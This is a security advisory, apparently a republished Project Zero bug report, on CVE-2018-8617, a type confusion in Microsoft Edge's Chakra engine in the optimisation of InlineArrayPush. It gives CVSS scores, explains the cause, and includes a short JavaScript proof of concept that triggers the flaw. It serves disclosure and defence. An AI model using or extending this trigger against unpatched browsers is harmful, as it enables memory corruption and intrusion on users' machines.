Microsoft Edge Chakra InlineArrayPush Type Confusion

2019.01.18
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Microsoft Edge: Chakra: Type confusion with InlineArrayPush CVE-2018-8617 In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion. PoC: function opt(a, b) { a.b = 2; b.push(0); a.a = 0x1234; } function main() { Object.prototype.push = Array.prototype.push; for (let i = 0; i < 1000; i++) { let a = {a: 1, b: 2}; opt(a, {}); } let o = {a: 1, b: 2}; opt(o, o); print(o.a); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt


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